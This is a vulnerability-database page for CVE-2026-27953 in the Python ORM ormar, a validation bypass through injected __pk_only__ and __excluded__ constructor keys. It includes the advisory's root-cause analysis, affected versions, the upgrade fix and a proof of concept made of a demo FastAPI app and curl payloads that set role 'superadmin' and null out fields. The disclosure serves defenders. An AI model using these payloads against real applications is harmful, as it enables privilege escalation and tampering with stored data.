Vulnerabilities in pkg:pypi/ormar

PACKAGE
Advisory Identifier: GHSA-f964-whrq-44h8
Advisory Summary

CVE-2026-27953 is a HIGH (CVSS 7.1) ormar pydantic validation bypass vulnerability (CWE-20: Improper Input Validation) affecting Ormar libraries in the PyPI ecosystem. The issue involves ormar pydantic validation bypass via __pk_only__ and __excluded__ kwargs injection in model constructor. Remediation is available by upgrading affected packages to version 0.23.1.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/ormar

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/ormar. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-f964-whrq-44h8 CVE-2026-27953 HIGH ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor
GHSA-xxh2-68g9-8jqr CVE-2026-26198 CRITICAL ormar is vulnerable to SQL Injection through aggregate functions min() and max()

CVE-2026-27953 at a Glance

CVE Identifier CVE-2026-27953
GHSA Identifier GHSA-f964-whrq-44h8
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-20: Improper Input Validation
Affected Product Ormar
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-27953

To remediate this vulnerability, upgrade all affected Ormar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ormar fixed: 0.23.1
pip install ormar>=0.23.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show ormar

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-27953, inspect your installed packages using pip:

pip show ormar

Analyze the terminal output to locate any version of Ormar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.23.1), your application is affected.

Note: The pip show ormar command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Ormar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Pydantic validation bypass in `ormar`'s model constructor allows any unauthenticated user to skip **all** field validation — type checks, constraints, `@field_validator`/`@model_validator` decorators, choices enforcement, and required-field checks — by injecting `"__pk_only__": true` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the **canonical usage pattern** recommended in ormar's official documentation and examples. A secondary `__excluded__` parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction. ### Details **Root cause:** `NewBaseModel.__init__` ([`ormar/models/newbasemodel.py`, line 128](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L128)) pops `__pk_only__` directly from user-supplied `**kwargs` before any validation occurs: ```python # ormar/models/newbasemodel.py, lines 128-142 pk_only = kwargs.pop("__pk_only__", False) # ← extracted from user kwargs object.__setattr__(self, "__pk_only__", pk_only) new_kwargs, through_tmp_dict = self._process_kwargs(kwargs) if not pk_only: # Normal path: full Pydantic validation new_kwargs = self.serialize_nested_models_json_fields(new_kwargs) self.__pydantic_validator__.validate_python( new_kwargs, self_instance=self ) else: # Bypass path: NO validation at all fields_set = {self.ormar_config.pkname} values = new_kwargs object.__setattr__(self, "__dict__", values) # raw dict written directly object.__setattr__(self, "__pydantic_fields_set__", fields_set) ``` The `__pk_only__` flag was designed as an internal optimization for creating lightweight FK placeholder instances in [`ormar/fields/foreign_key.py` (lines 41, 527)](https://github.com/collerek/ormar/blob/master/ormar/fields/foreign_key.py#L41). However, because it is extracted from `**kwargs` via `.pop()` with a `False` default, any external caller that passes user-controlled data to the model constructor can inject this flag. **Why the canonical FastAPI + ormar pattern is vulnerable:** Ormar's official example ([`examples/fastapi_quick_start.py`, lines 55-58](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py#L55)) recommends using ormar models directly as FastAPI request body parameters: ```python @app.post("/items/", response_model=Item) async def create_item(item: Item): await item.save() return item ``` FastAPI parses the JSON body and calls `TypeAdapter.validate_python(body_dict)`, which triggers ormar's `__init__`. The `__pk_only__` key is popped at line 128 **before** Pydantic's validator inspects the data, so Pydantic never sees it — even `extra='forbid'` would not prevent this, because the key is already consumed by ormar. The ormar Pydantic `model_config` (set in [`ormar/models/helpers/pydantic.py`, line 108](https://github.com/collerek/ormar/blob/master/ormar/models/helpers/pydantic.py#L108)) does not set `extra='forbid'`, providing no protection even in theory. **What is bypassed when `__pk_only__=True`:** - All type coercion and type checking (e.g., string for int field) - `max_length` constraints on String fields - `choices` constraints - All `@field_validator` and `@model_validator` decorators - `nullable=False` enforcement at the Pydantic level - Required-field enforcement (only `pkname` is put in `fields_set`) - `serialize_nested_models_json_fields()` preprocessing **Save path persists unvalidated data to the database:** After construction with `pk_only=True`, calling `.save()` ([`ormar/models/model.py`, lines 89-107](https://github.com/collerek/ormar/blob/master/ormar/models/model.py#L89)) reads fields directly from `self.__dict__` via `_extract_model_db_fields()`, then executes `table.insert().values(**self_fields)` — persisting the unvalidated data to the database with no re-validation. **Secondary vulnerability — `__excluded__` injection:** The same pattern applies to `__excluded__` at [`ormar/models/newbasemodel.py`, line 292](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L292): ```python excluded: set[str] = kwargs.pop("__excluded__", set()) ``` At lines 326-329, fields listed in `__excluded__` are silently set to `None`: ```python for field_to_nullify in excluded: new_kwargs[field_to_nullify] = None ``` An attacker can inject `"__excluded__": ["email", "password_hash"]` to nullify arbitrary fields during construction. **Affected entry points:** | Entry Point | Exploitable? | |---|---| | `async def create_item(item: Item)` (FastAPI route) | Yes | | `Model.objects.create(**user_dict)` | Yes | | `Model(**user_dict)` | Yes | | `Model.model_validate(user_dict)` | Yes | ### PoC **Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:** ```python # app.py from contextlib import asynccontextmanager import sqlalchemy import uvicorn from fastapi import FastAPI import ormar DATABASE_URL = "sqlite+aiosqlite:///test.db" ormar_base_config = ormar.OrmarConfig( database=ormar.DatabaseConnection(DATABASE_URL), metadata=sqlalchemy.MetaData(), ) @asynccontextmanager async def lifespan(app: FastAPI): database_ = app.state.database if not database_.is_connected: await database_.connect() # Create tables engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", "")) ormar_base_config.metadata.create_all(engine) engine.dispose() yield database_ = app.state.database if database_.is_connected: await database_.disconnect() app = FastAPI(lifespan=lifespan) database = ormar.DatabaseConnection(DATABASE_URL) app.state.database = database class User(ormar.Model): ormar_config = ormar_base_config.copy(tablename="users") id: int = ormar.Integer(primary_key=True) name: str = ormar.String(max_length=50) email: str = ormar.String(max_length=100) role: str = ormar.String(max_length=20, default="user") balance: int = ormar.Integer(default=0) # Canonical ormar pattern from official examples @app.post("/users/", response_model=User) async def create_user(user: User): await user.save() return user if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8000) ``` **Step 2: Send a normal request (validation works correctly):** ```bash # This correctly rejects — "name" exceeds max_length=50 curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "email": "user@example.com" }' # Returns: 422 Validation Error ``` **Step 3: Inject `__pk_only__` to bypass ALL validation:** ```bash curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "__pk_only__": true, "name": "", "email": "not-an-email", "role": "superadmin", "balance": -99999 }' # Returns: 200 OK — all fields persisted to database WITHOUT validation # - "name" is empty despite being required # - "email" is not a valid email # - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin") # - "balance" is negative (bypassing any ge=0 constraint) ``` **Step 4: Inject `__excluded__` to nullify arbitrary fields:** ```bash curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "__excluded__": ["email", "role"], "name": "attacker", "email": "will-be-nullified@example.com", "role": "will-be-nullified" }' # Returns: 200 OK — email and role are set to NULL regardless of input ``` ### Impact **Who is impacted:** Every application using ormar's canonical FastAPI integration pattern (`async def endpoint(item: OrmarModel)`) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation. **Vulnerability type:** Complete Pydantic validation bypass. **Impact scenarios:** - **Privilege escalation**: If a model has a `role` or `is_admin` field with a Pydantic validator restricting values to `"user"`, an attacker can set `role="superadmin"` by bypassing the validator - **Data integrity violation**: Type constraints (`max_length`, `ge`/`le`, regex patterns) are all bypassed — invalid data is persisted to the database - **Business logic bypass**: Custom `@field_validator` and `@model_validator` decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped - **Field nullification** (via `__excluded__`): Audit fields, tracking fields, or required business fields can be selectively set to NULL **Suggested fix:** Replace `kwargs.pop("__pk_only__", False)` with a keyword-only parameter that cannot be injected via `**kwargs`: ```python # Before (vulnerable) def __init__(self, *args: Any, **kwargs: Any) -> None: ... pk_only = kwargs.pop("__pk_only__", False) # After (secure) def __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None: ... object.__setattr__(self, "__pk_only__", _pk_only) ``` Apply the same fix to `__excluded__`: ```python # Before (vulnerable) excluded: set[str] = kwargs.pop("__excluded__", set()) # After (secure) — pass via keyword-only _excluded parameter def __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None: ... # In _process_kwargs: excludes = _excluded or set() ``` Internal callers in `foreign_key.py` would pass `_pk_only=True` as a named argument. Keyword-only parameters prefixed with `_` cannot be injected via JSON body deserialization or `Model(**user_dict)` unpacking.

CVE-2026-27953 Affected Ormar Versions

1 component(s)
Fixed Versions:
0.23.1
Product / Package Ecosystem Affected Versions Fixed Version
ormar
PyPI
< 0.23.1
0.23.1

References

Frequently Asked Questions

What is CVE-2026-27953?
CVE-2026-27953 is a security vulnerability in Ormar involving ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor under CWE-20: Improper Input Validation.
Which Ormar versions are affected?
Affected versions include releases prior to 0.23.1 across affected packages: ormar.
What version fixes CVE-2026-27953?
Upgrading to 0.23.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ormar affected?
Yes, ormar is affected in releases prior to 0.23.1. Upgrade your dependency to 0.23.1 or later.
What is the CVSS score of CVE-2026-27953?
CVE-2026-27953 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-27953?
CVE-2026-27953 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check PyPI dependencies for CVE-2026-27953?
Run the dependency tree command: 'pip show ormar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f964-whrq-44h8",
  "modified" : "2026-03-20T21:35:11Z",
  "published" : "2026-03-19T16:27:43Z",
  "aliases" : [ "CVE-2026-27953" ],
  "summary" : "ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor",
  "details" : "### Summary\n\nA Pydantic validation bypass in `ormar`'s model constructor allows any unauthenticated user to skip **all** field validation — type checks, constraints, `@field_validator`/`@model_validator` decorators, choices enforcement, and required-field checks — by injecting `\"__pk_only__\": true` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the **canonical usage pattern** recommended in ormar's official documentation and examples.\n\nA secondary `__excluded__` parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.\n\n### Details\n\n**Root cause:** `NewBaseModel.__init__` ([`ormar/models/newbasemodel.py`, line 128](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L128)) pops `__pk_only__` directly from user-supplied `**kwargs` before any validation occurs:\n\n```python\n# ormar/models/newbasemodel.py, lines 128-142\npk_only = kwargs.pop(\"__pk_only__\", False)      # ← extracted from user kwargs\nobject.__setattr__(self, \"__pk_only__\", pk_only)\n\nnew_kwargs, through_tmp_dict = self._process_kwargs(kwargs)\n\nif not pk_only:\n    # Normal path: full Pydantic validation\n    new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)\n    self.__pydantic_validator__.validate_python(\n        new_kwargs, self_instance=self\n    )\nelse:\n    # Bypass path: NO validation at all\n    fields_set = {self.ormar_config.pkname}\n    values = new_kwargs\n    object.__setattr__(self, \"__dict__\", values)       # raw dict written directly\n    object.__setattr__(self, \"__pydantic_fields_set__\", fields_set)\n```\n\nThe `__pk_only__` flag was designed as an internal optimization for creating lightweight FK placeholder instances in [`ormar/fields/foreign_key.py` (lines 41, 527)](https://github.com/collerek/ormar/blob/master/ormar/fields/foreign_key.py#L41). However, because it is extracted from `**kwargs` via `.pop()` with a `False` default, any external caller that passes user-controlled data to the model constructor can inject this flag.\n\n**Why the canonical FastAPI + ormar pattern is vulnerable:**\n\nOrmar's official example ([`examples/fastapi_quick_start.py`, lines 55-58](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py#L55)) recommends using ormar models directly as FastAPI request body parameters:\n\n```python\n@app.post(\"/items/\", response_model=Item)\nasync def create_item(item: Item):\n    await item.save()\n    return item\n```\n\nFastAPI parses the JSON body and calls `TypeAdapter.validate_python(body_dict)`, which triggers ormar's `__init__`. The `__pk_only__` key is popped at line 128 **before** Pydantic's validator inspects the data, so Pydantic never sees it — even `extra='forbid'` would not prevent this, because the key is already consumed by ormar.\n\nThe ormar Pydantic `model_config` (set in [`ormar/models/helpers/pydantic.py`, line 108](https://github.com/collerek/ormar/blob/master/ormar/models/helpers/pydantic.py#L108)) does not set `extra='forbid'`, providing no protection even in theory.\n\n**What is bypassed when `__pk_only__=True`:**\n- All type coercion and type checking (e.g., string for int field)\n- `max_length` constraints on String fields\n- `choices` constraints\n- All `@field_validator` and `@model_validator` decorators\n- `nullable=False` enforcement at the Pydantic level\n- Required-field enforcement (only `pkname` is put in `fields_set`)\n- `serialize_nested_models_json_fields()` preprocessing\n\n**Save path persists unvalidated data to the database:**\n\nAfter construction with `pk_only=True`, calling `.save()` ([`ormar/models/model.py`, lines 89-107](https://github.com/collerek/ormar/blob/master/ormar/models/model.py#L89)) reads fields directly from `self.__dict__` via `_extract_model_db_fields()`, then executes `table.insert().values(**self_fields)` — persisting the unvalidated data to the database with no re-validation.\n\n**Secondary vulnerability — `__excluded__` injection:**\n\nThe same pattern applies to `__excluded__` at [`ormar/models/newbasemodel.py`, line 292](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L292):\n\n```python\nexcluded: set[str] = kwargs.pop(\"__excluded__\", set())\n```\n\nAt lines 326-329, fields listed in `__excluded__` are silently set to `None`:\n\n```python\nfor field_to_nullify in excluded:\n    new_kwargs[field_to_nullify] = None\n```\n\nAn attacker can inject `\"__excluded__\": [\"email\", \"password_hash\"]` to nullify arbitrary fields during construction.\n\n**Affected entry points:**\n\n| Entry Point | Exploitable? |\n|---|---|\n| `async def create_item(item: Item)` (FastAPI route) | Yes |\n| `Model.objects.create(**user_dict)` | Yes |\n| `Model(**user_dict)` | Yes |\n| `Model.model_validate(user_dict)` | Yes |\n\n### PoC\n\n**Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:**\n\n```python\n# app.py\nfrom contextlib import asynccontextmanager\nimport sqlalchemy\nimport uvicorn\nfrom fastapi import FastAPI\nimport ormar\n\nDATABASE_URL = \"sqlite+aiosqlite:///test.db\"\normar_base_config = ormar.OrmarConfig(\n    database=ormar.DatabaseConnection(DATABASE_URL),\n    metadata=sqlalchemy.MetaData(),\n)\n\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n    database_ = app.state.database\n    if not database_.is_connected:\n        await database_.connect()\n    # Create tables\n    engine = sqlalchemy.create_engine(DATABASE_URL.replace(\"+aiosqlite\", \"\"))\n    ormar_base_config.metadata.create_all(engine)\n    engine.dispose()\n    yield\n    database_ = app.state.database\n    if database_.is_connected:\n        await database_.disconnect()\n\napp = FastAPI(lifespan=lifespan)\ndatabase = ormar.DatabaseConnection(DATABASE_URL)\napp.state.database = database\n\nclass User(ormar.Model):\n    ormar_config = ormar_base_config.copy(tablename=\"users\")\n\n    id: int = ormar.Integer(primary_key=True)\n    name: str = ormar.String(max_length=50)\n    email: str = ormar.String(max_length=100)\n    role: str = ormar.String(max_length=20, default=\"user\")\n    balance: int = ormar.Integer(default=0)\n\n# Canonical ormar pattern from official examples\n@app.post(\"/users/\", response_model=User)\nasync def create_user(user: User):\n    await user.save()\n    return user\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8000)\n```\n\n**Step 2: Send a normal request (validation works correctly):**\n\n```bash\n# This correctly rejects — \"name\" exceeds max_length=50\ncurl -X POST http://127.0.0.1:8000/users/ \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\",\n    \"email\": \"user@example.com\"\n  }'\n# Returns: 422 Validation Error\n```\n\n**Step 3: Inject `__pk_only__` to bypass ALL validation:**\n\n```bash\ncurl -X POST http://127.0.0.1:8000/users/ \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"__pk_only__\": true,\n    \"name\": \"\",\n    \"email\": \"not-an-email\",\n    \"role\": \"superadmin\",\n    \"balance\": -99999\n  }'\n# Returns: 200 OK — all fields persisted to database WITHOUT validation\n# - \"name\" is empty despite being required\n# - \"email\" is not a valid email\n# - \"role\" is \"superadmin\" (bypassing any validator that restricts to \"user\"/\"admin\")\n# - \"balance\" is negative (bypassing any ge=0 constraint)\n```\n\n**Step 4: Inject `__excluded__` to nullify arbitrary fields:**\n\n```bash\ncurl -X POST http://127.0.0.1:8000/users/ \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"__excluded__\": [\"email\", \"role\"],\n    \"name\": \"attacker\",\n    \"email\": \"will-be-nullified@example.com\",\n    \"role\": \"will-be-nullified\"\n  }'\n# Returns: 200 OK — email and role are set to NULL regardless of input\n```\n\n### Impact\n\n**Who is impacted:** Every application using ormar's canonical FastAPI integration pattern (`async def endpoint(item: OrmarModel)`) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.\n\n**Vulnerability type:** Complete Pydantic validation bypass.\n\n**Impact scenarios:**\n- **Privilege escalation**: If a model has a `role` or `is_admin` field with a Pydantic validator restricting values to `\"user\"`, an attacker can set `role=\"superadmin\"` by bypassing the validator\n- **Data integrity violation**: Type constraints (`max_length`, `ge`/`le`, regex patterns) are all bypassed — invalid data is persisted to the database\n- **Business logic bypass**: Custom `@field_validator` and `@model_validator` decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped\n- **Field nullification** (via `__excluded__`): Audit fields, tracking fields, or required business fields can be selectively set to NULL\n\n**Suggested fix:**\n\nReplace `kwargs.pop(\"__pk_only__\", False)` with a keyword-only parameter that cannot be injected via `**kwargs`:\n\n```python\n# Before (vulnerable)\ndef __init__(self, *args: Any, **kwargs: Any) -> None:\n    ...\n    pk_only = kwargs.pop(\"__pk_only__\", False)\n\n# After (secure)\ndef __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None:\n    ...\n    object.__setattr__(self, \"__pk_only__\", _pk_only)\n```\n\nApply the same fix to `__excluded__`:\n\n```python\n# Before (vulnerable)\nexcluded: set[str] = kwargs.pop(\"__excluded__\", set())\n\n# After (secure) — pass via keyword-only _excluded parameter\ndef __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None:\n    ...\n    # In _process_kwargs:\n    excludes = _excluded or set()\n```\n\nInternal callers in `foreign_key.py` would pass `_pk_only=True` as a named argument. Keyword-only parameters prefixed with `_` cannot be injected via JSON body deserialization or `Model(**user_dict)` unpacking.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ormar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.23.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27953"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/commit/7f22aa21a7614b993970345b392dabb0ccde0ab3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ormar-orm/ormar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/blob/master/examples/fastapi_quick_start.py#L55"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/blob/master/ormar/fields/foreign_key.py#L41"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/blob/master/ormar/models/helpers/pydantic.py#L108"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/blob/master/ormar/models/model.py#L89"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/blob/master/ormar/models/newbasemodel.py#L128"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/blob/master/ormar/models/newbasemodel.py#L292"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ormar-orm/ormar/releases/tag/0.23.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T16:27:43Z",
    "nvd_published_at" : "2026-03-19T21:17:09Z"
  }
}